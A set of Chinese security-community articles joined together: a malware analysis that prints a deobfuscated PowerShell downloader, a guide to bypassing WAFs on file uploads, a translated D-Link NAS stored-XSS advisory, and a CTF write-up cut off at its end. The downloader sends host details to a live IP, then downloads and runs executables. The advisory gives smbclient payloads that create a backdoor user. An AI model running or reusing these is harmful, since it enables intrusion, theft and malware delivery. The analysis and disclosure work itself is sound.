(,{1}([Conve','a2sX8D7G85ra/OTrk/TLZ3d','bJHxfNOCQT9XqDQYvE','Thv','HYBxJliUmL23Ke39K9UrX4HShCIBgE','Object IO.StreamReader ({1}(New-Object','66brfTeZutrlYvP/7k43SRt2fbV/mLH0OTX3xdt/0Xfwl/d4c62JtlVbmk16','1fv7jOylVTwFBN1zOiR7Oui58s2uWxYZQ9YvVlfn','s9lqPfvpNf39CY8/bx9dLn','v0428tZq++9fGd8TL7Iv/evdHu7mjv+9s/X',':ASCII)).ReadToEnd();
','LS','22z6S/B7Xhbnab','nP1sltEHwo','np8VW+vPtwfO/BeH9nd7z3YPfu3Uertp0D/mepPw7B6c','{0}7b0','dFtCgr2m','MPdErL801kHhyj1DnN19ZVM8fcvqd33zGsdtD/5BN+mh+1yXZ2MtVFbskqTb3bQFf22VVfn+tIuDeCCxJ','n+vd3vPT17Xp7Om9/tk+/T74X8Tk7YGG7YYfoL062ti8','q2qqqiTzZqgGALisRio0lx52T4y9IH1Hf2epdrk2rbfpR5g3RHF/XOanSb2+nl83J9qKqn9HEXC6rE0zJbto2dXG+ne6mq+Lt','EdZlG4HxOze4yoTHjnzh0VBhaK7bbJ2620rZbbW+lsmW2nwIOwX','Pf++PP','ILr168wx/lyO23','omBase64String(','51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8imvz','RUvPv74Trq1/Z0vixf0Unpx2m6ftaeLNP3JrC6OnzzPHxm/7s74J7PnX51+D2Mej7e3btV6XJ6+uHgzv5N+P73zGyf/Dw=={','xR8Xiuyp4UFL0f0DhV2cK5yIrz10He/hTv','plY/4+JcIsqum2R3lCLXhJ/l2sm/Ed+gcscbHMS0OP1TZA6Nt5vW6y/AsmTt7UhEa9n','MZJtFUCUIwDU0Cpv+CvgCX0g9m1FlZDTEqNfks3fOIGwICFGBUlrNhVu+8','Ht5ZLdrf','w160YCWiGvLS1dV50pG','Ihdujepf36Zftr3myYrT4yEWTCCKahLABjYZUZYMvjLjD+YZgvzCf36C6U5kVOoD0r2OJK+vQB/84i/L6rxe2g','7r/PV2m3++JXDu/R7Lqv','yTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O','aS7/','ny3PxvkiW47v','6','fhOu8yL8mSSf3fc5i/Sdpr/9ORL9LKV/t6nZz8mfeVNmTvQ9/T9mQ+0MR8OQAQOAdDr/C29n36S5j8oGvmNgH2Gv34h/UJ/Nus2a1+P78jP9Lqt81VVv9xO27p6nd','cX8ROj1mZkBQ4PdjTSgzjpkAE90+q','z/62c9B7fe9ht9edHdP8U/vbAwPCe3O/i+/HX+z/Xj4Wv3GC/37JL55P','TSGC2aPMLYCC82uE44StBTr+id8Jv')) -f [ChAR]39,[ChAR]36) )
然后参考fireeye的一篇关于讲解powershell混淆的文章，写出如下py脚本解密
s = """JUpnV+WdSzp2k+','fYruj1+8On39Ff2ieKsA1nmzVgFcFtkCc8Sz3dTE1iti1d9/796yuKIJolc','BPRvR//YReMbxC','L','Invoke-Expression {1}(New-','/w/yMT','34O1lbfraf4uL8t83ozxm+3gcFkVNFdFuV','qzK8Wo1+2lwJLFOj2cUWFypE6P9Ps+e/hT4Zud++tknKWNrZENYH9y0FNb/Rfn2LRTo+vpimZ1fLKvZev4DZn0CYbm','/','ion.CompressionMode]::Decompress)), [Text.Encoding]:','N9k9mr86ySXmapveqn/x9jus03Uo/Su+kdx7e+/6rbD793vc/f3H26s3r743u7N2XTz452Ndf7uknW1un0+NyldfjOx//zMejj19effWx99Hv9vHozsPdXX1p','/S+/9/HW1p2','0})))), [IO.Compress','7O/rd2aF63Vnlevn706PuzLK/nb8Y0Qv2N5qC5fv09','J5','rt]::Fr','qGf5dvaQPty6WRd2+5q+uqqf0+','3oIFNKv2ydf/ku','XbQYz6al',' IO.Compr','yR','yF+pYlui/m0Pn79pfb0miaxzWiOvuSuvqu8YPoBuT9riwlAfEL','1/5z7Nz','ession.DeflateStream ({1}(New-Object IO.MemoryStream (,{1}([Conve','a2sX8D7G85ra/OTrk/TLZ3d','bJHxfNOCQT9XqDQYvE','Thv','HYBxJliUmL23Ke39K9UrX4HShCIBgE','Object IO.StreamReader ({1}(New-Object','66brfTeZutrlYvP/7k43SRt2fbV/mLH0OTX3xdt/0Xfwl/d4c62JtlVbmk16','1fv7jOylVTwFBN1zOiR7Oui58s2uWxYZQ9YvVlfn','s9lqPfvpNf39CY8/bx9dLn','v0428tZq++9fGd8TL7Iv/evdHu7mjv+9s/X',':ASCII)).ReadToEnd();
','LS','22z6S/B7Xhbnab','nP1sltEHwo','np8VW+vPtwfO/BeH9nd7z3YPfu3Uertp0D/mepPw7B6c','{0}7b0','dFtCgr2m','MPdErL801kHhyj1DnN19ZVM8fcvqd33zGsdtD/5BN+mh+1yXZ2MtVFbskqTb3bQFf22VVfn+tIuDeCCxJ','n+vd3vPT17Xp7Om9/tk+/T74X8Tk7YGG7YYfoL062ti8','q2qqqiTzZqgGALisRio0lx52T4y9IH1Hf2epdrk2rbfpR5g3RHF/XOanSb2+nl83J9qKqn9HEXC6rE0zJbto2dXG+ne6mq+Lt','EdZlG4HxOze4yoTHjnzh0VBhaK7bbJ2620rZbbW+lsmW2nwIOwX','Pf++PP','ILr168wx/lyO23','omBase64String(','51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8imvz','RUvPv74Trq1/Z0vixf0Unpx2m6ftaeLNP3JrC6OnzzPHxm/7s74J7PnX51+D2Mej7e3btV6XJ6+uHgzv5N+P73zGyf/Dw=={','xR8Xiuyp4UFL0f0DhV2cK5yIrz10He/hTv','plY/4+JcIsqum2R3lCLXhJ/l2sm/Ed+gcscbHMS0OP1TZA6Nt5vW6y/AsmTt7UhEa9n','MZJtFUCUIwDU0Cpv+CvgCX0g9m1FlZDTEqNfks3fOIGwICFGBUlrNhVu+8','Ht5ZLdrf','w160YCWiGvLS1dV50pG','Ihdujepf36Zftr3myYrT4yEWTCCKahLABjYZUZYMvjLjD+YZgvzCf36C6U5kVOoD0r2OJK+vQB/84i/L6rxe2g','7r/PV2m3++JXDu/R7Lqv','yTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O','aS7/','ny3PxvkiW47v','6','fhOu8yL8mSSf3fc5i/Sdpr/9ORL9LKV/t6nZz8mfeVNmTvQ9/T9mQ+0MR8OQAQOAdDr/C29n36S5j8oGvmNgH2Gv34h/UJ/Nus2a1+P78jP9Lqt81VVv9xO27p6nd','cX8ROj1mZkBQ4PdjTSgzjpkAE90+q','z/62c9B7fe9ht9edHdP8U/vbAwPCe3O/i+/HX+z/Xj4Wv3GC/37JL55P','TSGC2aPMLYCC82uE44StBTr+id8Jv"""
s = s.split("','")
a = ['4', '28', '19', '23', '15', '46', '38', '27', '56', '47', '10', '62', '35', '29', '59', '16', '60', '0', '34', '55', '37', '13', '57', '52', '6', '50', '18', '61', '2', '36', '43', '45', '53', '22', '26', '31', '51', '1', '49', '21', '20', '54', '14', '7', '5', '40', '17', '58', '25', '30', '3', '39', '42', '24', '63', '11', '44', '8','41', '32', '48', '12', '9', '33']
result = ""
for i in a:
result += s[int(i)]
print result
结果是
`Invoke-Expression {1}(New-Object IO.StreamReader ({1}(New-Object
IO.Compression.DeflateStream ({1}(New-Object IO.MemoryStream
(,{1}([Convert]::FromBase64String({0}7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8imvzN9k9mr86ySXmapveqn/x9jus03Uo/Su+kdx7e+/6rbD793vc/f3H26s3r743u7N2XTz452Ndf7uknW1un0+NyldfjOx//zMejj19effWx99Hv9vHozsPdXX1pz/62c9B7fe9ht9edHdP8U/vbAwPCe3O/i+/HX+z/Xj4Wv3GC/37JL55P22z6S/B7Xhbnab66brfTeZutrlYvP/7k43SRt2fbV/mLH0OTX3xdt/0Xfwl/d4c62JtlVbmk166qGf5dvaQPty6WRd2+5q+uqqf0+fhOu8yL8mSSf3fc5i/Sdpr/9ORL9LKV/t6nZz8mfeVNmTvQ9/T9mQ+0MR8OQAQOAdDr/C29n36S5j8oGvmNgH2Gv34h/UJ/Nus2a1+P78jP9Lqt81VVv9xO27p6ndJUpnV+WdSzp2k+LS7r/PV2m3++JXDu/R7Lqvnp8VW+vPtwfO/BeH9nd7z3YPfu3Uertp0D/mepPw7B6c7O/rd2aF63Vnlevn706PuzLK/nb8Y0Qv2N5qC5fv09aS7/Ht5ZLdrf34O1lbfraf4uL8t83ozxm+3gcFkVNFdFuVplY/4+JcIsqum2R3lCLXhJ/l2sm/Ed+gcscbHMS0OP1TZA6Nt5vW6y/AsmTt7UhEa9nXbQYz6alcX8ROj1mZkBQ4PdjTSgzjpkAE90+qBPRvR//YReMbxCnP1sltEHwoEdZlG4HxOze4yoTHjnzh0VBhaK7bbJ2620rZbbW+lsmW2nwIOwXILr168wx/lyO23w160YCWiGvLS1dV50pG1/5z7NzThvs9lqPfvpNf39CY8/bx9dLnMZJtFUCUIwDU0Cpv+CvgCX0g9m1FlZDTEqNfks3fOIGwICFGBUlrNhVu+8fYruj1+8On39Ff2ieKsA1nmzVgFcFtkCc8Sz3dTE1iti1d9/796yuKIJolcxR8Xiuyp4UFL0f0DhV2cK5yIrz10He/hTvyF+pYlui/m0Pn79pfb0miaxzWiOvuSuvqu8YPoBuT9riwlAfELyRIhdujepf36Zftr3myYrT4yEWTCCKahLABjYZUZYMvjLjD+YZgvzCf36C6U5kVOoD0r2OJK+vQB/84i/L6rxe2gJ5qzK8Wo1+2lwJLFOj2cUWFypE6P9Ps+e/hT4Zud++tknKWNrZENYH9y0FNb/Rfn2LRTo+vpimZ1fLKvZev4DZn0CYbm/w/yMTMPdErL801kHhyj1DnN19ZVM8fcvqd33zGsdtD/5BN+mh+1yXZ2MtVFbskqTb3bQFf22VVfn+tIuDeCCxJ3oIFNKv2ydf/kuny3PxvkiW47vbJHxfNOCQT9XqDQYvE1fv7jOylVTwFBN1zOiR7Oui58s2uWxYZQ9YvVlfnLdFtCgr2mq2qqqiTzZqgGALisRio0lx52T4y9IH1Hf2epdrk2rbfpR5g3RHF/XOanSb2+nl83J9qKqn9HEXC6rE0zJbto2dXG+ne6mq+Lta2sX8D7G85ra/OTrk/TLZ3dTSGC2aPMLYCC82uE44StBTr+id8Jv/S+/9/HW1p2Pf++PP/n+vd3vPT17Xp7Om9/tk+/T74X8Tk7YGG7YYfoL062ti8v0428tZq++9fGd8TL7Iv/evdHu7mjv+9s/XRUvPv74Trq1/Z0vixf0Unpx2m6ftaeLNP3JrC6OnzzPHxm/7s74J7PnX51+D2Mej7e3btV6XJ6+uHgzv5N+P73zGyf/Dw=={0})))),
[IO.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCII)).ReadToEnd();`
然后我们继续解码，发现是如下内容
seT-VaRIablE 3oVYAr ( " ) )93]Rahc[]GNIRTS[,)25]Rahc[+84]Rahc[+35]Rahc[((EcAlper.)'|','PwU'(EcAlper.)'$',)911]Rahc[+211]Rahc[+08]Rahc[((EcAlper.)29]Rahc[]GNIRTS[,)001]Rahc[+601]Rahc[+711]Rahc[((EcAlper.)43]Rahc[]GNIRTS[,'M4K'(EcAlper.)'
}{hctac}
elif epyt- htapwpP'+' metI-weN
{yrt
}{hctac}
}
)M4K2daoln'+'wod'+'wpPM4K(gnirtSdaolnwoD'+'.)tneilCbeW.teN tcejbO-weN( XEI
{esle}
)M4K3daolnwodwpPM4K(gnirtsdaolnwod.)tneilCbeW.teN tcejbO-'+'weN( XEI
yekwpP + eziswpP + M4K=ezis&M4K + sutatS.)sutatS ytreporP- troS PwU revirdD ecivreS-teG( + M4K3?nosj.wen/9.37.401.271//:ptthM4K = 3daolnwodwpP
)04*0001(peelS::]daerhT.gnidaerhT.metsyS[
;)pmt_daolnwodwpP(etucexellehs.cexewpP
;noitacilppa.llehs '+'moc- tcejbO-weN = cexewpP
mus.)mus- htgnel ytreporp- '+'tcejbO-erusaeM PwU esrucer- pmt_daolnwodwpP metIdlihC-teG( = eziswpP
)01*0001(peelS::]daerhT.gnidaerh'+'T.metsyS[
)M4Kpmt_daolnwodwpPM4K,M4Kdaolnwo'+'dwpPM4K(eliFda'+'olnwoD.)tneilCbeW.teN.metsyS'+' tcejbO-weN(
{)))htapwpP htap-tset( ton-( dna- )M4Kgninn'+'uRM4K en- s'+'utatS.)sutatS ytreporP- troS PwU revir'+'dD ecivreS-teG(((fi
{yrt
405exe.etadpudju405+M4Kpmet:vnewpPM4K = pmt_dao'+'lnwodwpP
yekwpP + M'+'4K3?'+'nosj.dlo/9.37.401.271//:ptthM4K '+'= 2daolnwodwpP
yekwpP + M4K3?exe.lld/9.37.401.271//:ptthM4K = daolnwodwpP
EM'+'ANRESU'+':vnewpP + M4K=resu&M4K + niamoD.)metsysretupmoc_23niw tc'+'ejbOimW-teG( +'+' '+'M4K=niamod&M4K + galfwpP + M4K=2galf&M4K + erutcetihcrASO.)metsySgnitarepO_23niW tcejbOimW-teG(+M4K=tib&M4K+noisrev.)metsySgn'+'itare'+'pO_23niW ssalC- tcejbOimW-teG(+'+'M4K'+'=rev&M4K+vawpP+M4K=va&M4K+camwpP+M4K=cam&M4K'+' = yekwpP
htapwpP htap-tset = ga'+'lfwpP]gnirts[
M4Kgol.ppdj'+'udjupmet:vnewpPM4K = htapwpP
}{hctac}
}
405YFDZ'+'405 =+ vawpP
{)M4Kgni'+'nnuRM4K qe- sutatS.)sutatS ytreporP- troS PwU uygnafgnoduhz eciv'+'reS-teG((fi
{yrt
}
svawpP = vawpP
{esle}
}
M4KP'+'wUM4K + ]vwpP[svawpP =+ vawpP
{)++vwpP ;tnuoC.svawpP tl- '+'vwpP ;0 = vwpP(rof
{)1- tg- )405tcejbO405(fOxednI.eman.)(epyTt'+'eG.svawpP(fi
emaNyalpsid.)tcudorPsuriVitnA ssalC- 2retneCytiruceSdjutoor ecapsemaN- tcejbOimW-teG( = svawpP
)CAM dn'+'apxe- tcejbo-tcelesPwUCAM redaeH- vsC-morFtrevnoC PwU1 tsrif- 1 pikS- tcejbO-tcel'+'eSPwUVSC OF/ c'+'amteg( = camwpP]gnirts[
M4KM4K = svawpP]gnirts'+'[
M4KM4K = vawpP]gnirts['(()'X'+]31[DILlEhs$+]1[DiLlEhs$ ( . " ); & ((gv '*mdR*').naMe[3,11,2]-joiN'') (-JOiN ( gEt-ItEm VariABLe:3oVYAr ).VaLUE[- 1 ..-(( gEt-ItEm VariABLe:3oVYAr ).VaLUE.lENgTh) ] )
重点看这里，我也看不懂，大致意思是将字符串反转，OK，那我们试一下
结果如下
$av = ""
$avs = ""
$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayName
if($avs.GetType().name.IndexOf('Object') -gt -1){
for($v = 0; $v -lt $avs.Count; $v++){
$av += $avs[$v] + "|"
}
}else{
$av = $avs
}
try{
if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){
$av += 'ZDFY'
}
}catch{}
$path = "$env:temp\\pp.log"
[string]$flag = test-path $path
$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME
$download = "http://172.104.73.9/dll.exe?3" + $key
$download2 = "http://172.104.73.9/old.json?3" + $key
$download_tmp = "$env:temp"+'\update.exe'
try{
if(((Get-Service Ddriver | Sort -Property Status).Status -ne "Running") -and (-not (test-path $path))){
(New-Object System.Net.WebClient).DownloadFile("$download","$download_tmp")
[System.Threading.Thread]::Sleep(1000*10)
$size = (Get-ChildItem $download_tmp -recurse | Measure-Object -property length -sum).sum
$exec = New-Object -com shell.application;
$exec.shellexecute($download_tmp);
[System.Threading.Thread]::Sleep(1000*40)
$download3 = "http://172.104.73.9/new.json?3" + (Get-Service Ddriver | Sort -Property Status).Status + "&size=" + $size + $key
IEX (New-Object Net.WebClient).downloadstring("$download3")
}else{
IEX (New-Object Net.WebClient).DownloadString("$download2")
}
}catch{}
try{
New-Item $path -type file
}catch{}
大致意思是，获取mac地址，AntiVirusProduct（本机安装的杀软名称），是否安装360的产品，也就是zhudongfangyu。
获取系统版本号，系统位数，电脑名称，用户名等，拼接在参数中并请求下载exe，json文件。样本中地址是<http://172.104.73.9/dll.exe，但是现在已经无法访问。>
这里会判断一下Driver服务是否在运行，如果运行的话，就不会下载了。下载后的名字应该是update.exe，然后执行。反正这个代码也很简单，我都已经帮大家去掉混淆了
。
云上样本就是这么简单因为已经无法访问，所以我也没法继续分析了 | 社区文章 |
**接触渗透一年多了，平时也没写笔记和博客的习惯，于是乎想总结下平时实际遇见的Upload场景，分享一下。**
背景:去年实习的时候开始接触渗透，太菜，就偶尔在EDUSRC捡洞(资产多，WAF多，坑多)，主要是挖一些上传，逻辑，注入等基础漏洞，不建议拿一把梭工具扫，除非自己挖的通用洞或是对该漏洞原理理解深刻，不然成长不大。
文件上传漏洞的介绍很多，就不废话了，下面讲讲如何快速判断文件上传漏洞是否客观存在与WAF绕过
**Upload步骤**
1.直接前端上传正常文件，burp截断只修改任意后缀判断黑白名单(略过content-type/前端js判断)。
2.传不上去就是白名单限制pass基本没得搞，传得上去就是黑名单或是未做限制。
3.webshell上传能落地，能拿到文件url，能web访问，能解析-->>getshell。
上面就是Upload漏洞的判断步骤。
下面来说说已经判断是黑名单后绕过上传点的限制与WAF的限制。
**判断程序本身限制与WAF限制**
1.程序本身黑名单限制：返回包通常会有上传文件格式不允许意思的字样
2.WAF限制：返回页面通常会是WAF的拦截页面或是该次请求被重置reset无响应包
**后缀绕过黑名单的限制**
Windows：
大小写不敏感，[空格]，命名不允许的特殊字符，::$DATA。
命名不允许的特殊字符/?
::$DATA
空格
Linux：
可以试试/
拓展名：
asp/cer/asa/cdx
aspx/ashx/asmx/svc... cshtml/vbhtml(.net4.0支持Razor)/soap可实现shellcodeloader
jsp/jspx
php...
**绕过WAF限制**
维度：文件落地(后缀/内容)，能访问，能连接
这里主要讨论webshell后缀的落地
Content-Disposition: form-data; name="file"; filename="test.php"
通常检测就是这个字段，先说针对后缀绕过的方法：
**构造当前能识别的正常文件的畸形包(.png)，然后再改后缀，反正是服务器能解析，WAF不认识。主要是对上述字段做畸形。**
我遇见的常见的WAF有安全狗，Yxlink-WAF，云锁，玄武盾，创宇盾，WTS-WAF，qianxin-WAF，WAF2.0
这些WAF都能在后缀落地的阶段绕过，每家WAF对后缀判断的具体的位置不同，就不一一说明了
例如某WAF：
filename参数去掉引号就可以过了，这里告警是因为内容免杀没过
Content-Disposition这一行可以动手脚的地方很多，师傅们可以自己试试，后缀都能bypass。
还有个有意思的：
asp上传错误，cer成功，这个场景就是程序黑名单+WAF，可惜貌似WAF不认识Data URI
Schema的文件上传，没找到后缀的可控点，所以WAF就没有拦。
有些WAF可能会阻止某些路径(upload)下访问脚本文件，可以试试这个
只是简单匹配URI的话，这个可以过
过内容的话，可以发大文件或是免杀的webshell...
过WAF内容检测-二次文件写入：先传webshell_wiritefile小马，在写入文件
[倾旋师傅的项目usefull-code](https://github.com/Rvn0xsy/usefull-code "倾旋师傅的项目usefull-code")
过连接的话，自己改改通信的数据特征....
水平有限，可能有缺有错，师傅们多带带 | 社区文章 |
# D-Link NAS, DNS 系列：通过非认证SMB实现存储型XSS
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://b.fl7.de/2016/08/d-link-nas-dns-xss-via-smb.html>
译文仅供参考，具体内容表达以及含义原文为准。
**1.前言**
* * *
D-Link
DNS-320是一款NAS网络存储器(http://www.dlink.com/uk/en/support/product/dns-320-2-bay-sharecenter-network-storage-enclosure).
该设备允许用户通过SMB（服务器信息块）访问存储数据,并且可以通过一个web界面对它进行配置。
然而，这个web管理界面包含一个存储型跨站点脚本漏洞,利用的是一个未经身份验证的SMB登录尝试(445/tcp)。当受害者登录web管理界面时，注入的代码就会执行。
这个漏洞可以通过web界面读写设置信息。最终,攻击者可能会获得设备上存储的数据的完整读写权限。
与反射XSS漏洞不同的是,它不需要受害者打开一个攻击者提供的链接或访问恶意网页。这是一个相对少见的XSS漏洞,
不管受害者是直接还是间接地访问有漏洞的web应用程序，恶意代码都可以被注入。因此,即使端口80/tcp(HTTP)和443/tcp(HTTPS)的访问被禁，仍然可以利用这个漏洞。
CVE-ID
目前，MITRE并没有为这个漏洞指定一个CVE-ID，可以参阅下面的链接了解一些背景知识：[http://seclists.org/oss-sec/2016/q1/512。](http://seclists.org/oss-sec/2016/q1/512%E3%80%82)
**2.漏洞细节**
* * *
D-Link
DNS-320将失败的SMB登录尝试保存在一个日志文件中。当使用一个不存在的用户名进行登陆尝试时,这个用户名会被保存起来，随后未加清理就显示出来。这就是该漏洞利用的注入点。日志文件的内容可以在设备的web界面查看;在一个专门的页面(管理->系统管理- >日志:
<http://<IP>/web/management.html?id=log>)
或在主页上
<http://<IP>/web/home.html>
这两个页面都有相同的漏洞,但由于主页在登录成功后会自动加载,所以注入代码会立即运行,不能进行进一步的用户交互。
由于恶意代码使用SMB协议注入，而不是使用导致其最终执行的HTTP协议,因此阻止外部访问web界面并不能防止这个漏洞的利用。
**3.漏洞利用/概念证明**
* * *
由于这个漏洞的本质,自动化地将恶意代码注入到一系列含有此漏洞的设备中是很容易的。
以下两个smbclient命令作为一个概念证明。它们的目的是注入一段代码，用来创建一个使用攻击者选择的密码的新用户。此外,它会向这个新用户提供设备默认共享盘(“Volume_1”)
的读/写权限;默认情况下,可以获得存储在主硬盘驱动器上数据的完整读写权限。
smbclient -U '<img src=/cgi-bin/account_mgr.cgi?cmd=cgi_adduser_to_session&s_name=Volume_1&ftp=true&read_list=&write_list=baduser&decline_list=&username=baduser&>' -N '\xVolume_1' -I <TARGET IP>
smbclient -U '<img src=/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=baduser&pw=badpass&>' -N '\xVolume_1' -I <TARGET IP>
一旦管理员登录到设备的web界面,这段代码将会执行：创建一个使用攻击者选择的密码的新用户,获取共享盘“Volume_1”的读/写权限。
如果想要确认一个设备是否是脆弱型号之一,可以使用rpcclient。在输入querydominfo命令后,可以在“Comment”旁边找到型号名:
[~] $ rpcclient -U "" -N <TARGET IP>
rpcclient $> querydominfo
Domain: WORKGROUP
Server: DLINK-EXXXXX
Comment: DNS-320 <===== Model
Total Users: 3
[…]
一些读者可能想要验证他们的设备上是否存在该漏洞,但又不想进行配置更改。在这种情况下,可以使用以下命令:
smbclient -U 'a<img src=x onerror=eval("alert(String.fromCharCode(88,83,83,64)+document.domain)")>b' -N '\xVolume' -I <TARGET IP>
如果设备的确包含有该漏洞,那么用户在下次登录到设备的web界面时，将会看到一个带有“XSS”字符串的弹出窗口:
**
**
**4.影响的设备/版本**
* * *
这个漏洞最初是在一个运行固件版本2.05 b8(也称为:“2.13.0507.2014”)的D-Link DNS-320 rev
A的设备上发现的。但是,根据D-Link的消息，以下设备和版本也存在这个漏洞：
此外，早期和后来的版本也有可能受到该漏洞的影响。
**5.给终端用户的建议**
* * *
存在漏洞的设备应该禁止来自不受信任和潜在的恶意网络的访问。如果你觉得这些访问有问题，请立即终止连接。
如果一个存在漏洞的设备没有连接到互联网上,而是存在于本地网络,那么最大的风险可能来自恶意软件,更具体地说是勒索软件。
勒索软件正变得越来越强大,而且这种发展还不受到感染和躲避机制的局限。未来勒索软件可能会适应其周围环境，让自己的影响达到最大化,随后,受害者支付赎金的可能性也会大大增加。
NAS设备通常用于存储用户认为重要的备份数据。本文描述的漏洞可以使得勒索软件在下一次受害者登陆web管理界面时删除NAS设备上的数据。
因此，建议终端用户首先确定自己设备上安装的固件版本是否含有该漏洞，如果有，请及时进行固件更新。
确定当前安装的固件版本
当前安装的固件版本可以通过web管理界面确认。
根据D-Link的未来版本控制系统,也许有必要使用固件的日期来区分是否含有该漏洞。
例如,如果型号是DNS-320 rev
A，web界面显示的固件版本是“2.05”,那么含有漏洞的固件版本可以通过显示的日期“05/07/2014”(或更早)来确认:
Current NAS Firmware Version 2.05
Firmware Date 05/07/2014
如果在今年晚些时候发布的固件版本2.05 b99中修复了该漏洞,那么web界面显示的固件版本可能如下所示:
Current NAS Firmware Version 2.05
Firmware Date 12/12/2016
具体含有漏洞的设备和版本请参考第4节。
固件更新时的建议
如果D-Link在固件更新中解决了这个漏洞,其安装程序会要求用户登录到存在漏洞的web界面。然而,如果攻击者已经设法在web界面存储了恶意代码,那么登陆去安装更新可能会执行这段代码。
不过，在写这篇文章时,还没有存在已知的针对该漏洞的野外攻击,但是，在更新时也应该采取一些预防措施，使得应用更新以一个安全的方式进行：
将设备和用于管理设备的计算机从所有网络中断开；
为了降低相关硬盘上数据的风险,在登录到web界面之前:关掉设备、断开所有的硬盘，只保留一个,并且不能保存重要数据、重新打开设备；
为了减少一些漏洞利用尝试所带来的风险:检查所有可疑的或多余的配置选项,尤其是那些与“账户管理”有关的配置,或恢复默认的配置选项/工厂设置(系统管理->系统设置- >默认值- >恢复)；
下载并进行固件更新。
**6.时间轴**
* * *
2016-01-11:试图通过web表单向D-Link报告漏洞。
2016-01-21:十天后:仍然没有反应。
2016-01-21:联系[email protected](遵照安全事件响应策略)。
2016-01-21: D-Link在几分钟内响应。
2016-01-22:发送漏洞报告。
2016-01-26: D-Link证实了该漏洞。
2016-02-11:通过[email protected]向MITRE提出CVE-ID请求。
2016-02-12: MITRE驳回了请求。
2016-02-27: D-Link提供预览版更新固件来验证修复。
2016-03-01:对固件进行了评估,并向D-Link发送确认书。
2016-06-08:要求D-Link进行状态更新。
2016-07-08:(一个月后:仍然没有反应。)
2016-07-08:要求D-Link发布状态更新。
2016-07-13: D-Link表示更新固件已经发布在论坛上了,剩下的更新会在“本周结束7/15”发布。
2016-07-19:向D-Link请求更新消息的直接链接。
2016-08-02:两周后:仍然没有反应。
2016-08-02:本文发表。
原文链接：http://b.fl7.de/2016/08/d-link-nas-dns-xss-via-smb.html | 社区文章 |
# 前言
掘安杯网络安全技能挑战赛。题目相对简单适合新手入门，偏向php代码基础漏洞的学习。
# web1
题目url:<http://120.79.1.69:10001/>
相当于签到题目，没什么难度，
进行抓包base64解码即可得到第一道题的flag。
amFjdGZ7OWMxZTNkMThjNDMzZDkzZDk2YTk2NGMwMGFkMzBiOGZ9
jactf{9c1e3d18c433d93d96a964c00ad30b8f}
# web2
题目url:<http://120.79.1.69:10002>
可以下载文件源码。但是flag.txt下载不了，查看源码提示。
下载file=flag.php下载源码。
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key)
{
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );#32
$l = strlen ( $key ); #5
for($i = 0; $i<$len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} ))%256 );
}
echo base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
echo $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";
?>
解读：这很明显是个加密解密，其中给了加密后的flag，利用第一个函数加密，钥匙也给了MyCTF。但是不清楚为啥给了解密算法，不给也很容易逆推就可以解出来。
所以最终就是直接decrypt($flag,$key),就会打印出来flag， 也可以验证一下。
# web3
url地址：<http://120.79.1.69:10003>
标题很简单的猜密码，
先看看源码，有PHP源码
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
代码相当精简，如果post的pwd等于当前的时间，就返回flag,尝试过提前预判时间，发现不可以，就只能直接入手题目了，这里用到了一个弱比较，来进行一个空比较，session
ID是我们可控的，pwd也是我们可控的，唯一就是session我们无法控制是多少，但是可以置为空，
删除PHPSESSID，然后使得pwd= 空，判断就变成了空等于空，可以得到flag。
# web4
url地址：<http://120.79.1.69:10004>
这个题一开始工具出问题扫半天没扫到，但是完全没有入手点，后来发现是工具字典问题，建议CTF找不到入手点就多扫扫，可能有遗漏，这个题目就是扫目录，有个后门文件，shell.php
一般来说后门文件就是爆破密码，本题也不例外，在burp intruder模块里进行爆破。
# web5
url地址:<http://120.79.1.69:10005>
这道题目综合了三个知识点，python session快速计算提交，注入绕过，代码审计。综合起来还是搞了半天。
1.有个登陆框，
有返回报错信息，不难想到，肯定和注入挂钩，fuzz发现，or被过滤为空，但是很容易绕过，常规双写绕过，select也被过滤了，也可以使用双写绕过，selselectect，后台验证如果是select就替换为空，selselectect
就等于 select，空格被过滤，这里用/**/替换，
最终poc
